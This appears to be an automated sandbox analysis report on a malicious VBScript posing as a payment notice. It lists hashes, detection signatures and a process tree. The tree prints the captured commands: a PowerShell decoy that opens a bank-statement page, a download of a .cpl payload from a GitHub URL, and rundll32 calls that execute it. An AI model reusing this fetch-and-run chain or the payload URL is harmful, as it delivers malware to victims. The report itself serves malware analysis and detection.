Analysis

  • max time kernel
    121s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    30/03/2025, 18:36

General

  • Target

    Payment_Activity_0037_2025-3-30.vbs

  • Size

    13KB

  • MD5

    257ea8ae99c0f328251eecebbb3c4301

  • SHA1

    0f6c115c4169c73269ee17955cd6858f71bd9b45

  • SHA256

    0d69c127cf01104b06b3407364bbd1c04ae5b6a831317b58d835c50ff9a0468c

  • SHA512

    631c1e004e71412b05bf1fb919d26d303a16c3cfbc5bf5e0fdf44533fbd8e47e4cd1ad1e00a39dfd038c51eceaf6bb19404eca49756a657b623b4acccda37b71

  • SSDEEP

    192:NB0v8qa258i+nxp2YXBoN8x6kgqDMOhWm3Gmim3jzVcGZlIyB1AQaAMKz3N2v:3qyiAdxoY6HyLjpLZlIyUQanKzN2v

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Start PowerShell.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 32 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Payment_Activity_0037_2025-3-30.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2404
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c powershell start-process msedge https://www.scribd.com/document/806838445/Bank-Statement
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2788
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell start-process msedge https://www.scribd.com/document/806838445/Bank-Statement
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2712
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://raw.githubusercontent.com/SC10001/Di/main/DNSBackup.cpl -Outfile C:\ProgramData\DNSBackup\DNSBackup.cpl
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2828
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell Invoke-WebRequest -Uri https://raw.githubusercontent.com/SC10001/Di/main/DNSBackup.cpl -Outfile C:\ProgramData\DNSBackup\DNSBackup.cpl
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2556
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c start /b C:\Windows\SysWOW64\rundll32.exe shell32.dll,Control_RunDLL C:\ProgramData\DNSBackup\DNSBackup.cpl
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1352
      • C:\Windows\SysWOW64\rundll32.exe
        C:\Windows\SysWOW64\rundll32.exe shell32.dll,Control_RunDLL C:\ProgramData\DNSBackup\DNSBackup.cpl
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: CmdExeWriteProcessMemorySpam
        • Suspicious use of WriteProcessMemory
        PID:1468
        • C:\Windows\system32\RunDll32.exe
          C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL C:\ProgramData\DNSBackup\DNSBackup.cpl
          4⤵
            PID:1292
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c start /b C:\Windows\System32\rundll32.exe shell32.dll,Control_RunDLL C:\ProgramData\DNSBackup\DNSBackup.cpl
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2400
        • C:\Windows\System32\rundll32.exe
          C:\Windows\System32\rundll32.exe shell32.dll,Control_RunDLL C:\ProgramData\DNSBackup\DNSBackup.cpl
          3⤵
            PID:1112

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

        Filesize

        7KB

        MD5

        441fc5bb98ed1177082d1b494d73e48f

        SHA1

        95ad7168600b3a479a288ecd7b3429ea7ef97279

        SHA256

        ebcc77f97426e3a8b93c06e7cc72cc97ea015b36c8a27c135970be772abb63e3

        SHA512

        c06539ce35afdff6fd3478888e2c5fb9870eed9275a1c21bb447d51838924c550e8b4b3b439ab9b66735a4b081232a9841e54ee8841b8bb62dcf229e2bf798c6

      • memory/2556-17-0x000000001B5C0000-0x000000001B8A2000-memory.dmp

        Filesize

        2.9MB

      • memory/2556-18-0x0000000002900000-0x0000000002908000-memory.dmp

        Filesize

        32KB

      • memory/2712-4-0x000007FEF577E000-0x000007FEF577F000-memory.dmp

        Filesize

        4KB

      • memory/2712-5-0x000000001B650000-0x000000001B932000-memory.dmp

        Filesize

        2.9MB

      • memory/2712-7-0x000007FEF54C0000-0x000007FEF5E5D000-memory.dmp

        Filesize

        9.6MB

      • memory/2712-8-0x000007FEF54C0000-0x000007FEF5E5D000-memory.dmp

        Filesize

        9.6MB

      • memory/2712-9-0x000007FEF54C0000-0x000007FEF5E5D000-memory.dmp

        Filesize

        9.6MB

      • memory/2712-6-0x0000000002220000-0x0000000002228000-memory.dmp

        Filesize

        32KB

      • memory/2712-10-0x000007FEF54C0000-0x000007FEF5E5D000-memory.dmp

        Filesize

        9.6MB

      • memory/2712-11-0x000007FEF54C0000-0x000007FEF5E5D000-memory.dmp

        Filesize

        9.6MB